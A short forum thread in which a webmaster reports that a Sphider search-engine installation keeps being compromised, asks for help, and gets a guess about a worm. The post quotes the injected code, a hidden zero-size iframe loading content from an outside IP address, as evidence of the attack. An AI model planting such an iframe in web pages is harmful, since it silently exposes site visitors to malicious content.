sphider script keeps getting hacked

Hi all, my sphider installation (v 1.3) kept getting hacked, so i have now upgraded to 1.3.1 - but it continues to happen. a new folder is created under the 'settings' folder called 'count' - then a new index.php appears in this folder with the following code:

<iframe src="[81.95.144.76]; height="0" width="0"></iframe>

i delete the files at this stage, but the first time i found it, it had created many other files on my webserver - can anything be done about this? has anyone else had this problem?

It could be a consequence of the worm "Bagle.CY"

Hi Recortes, i should have mentioned this is happening on my webserver, which runs CentOS (Linux) so it could not be the Bagle.CY trogan.

Whan you find the answer, please write it here. Thanks in advance.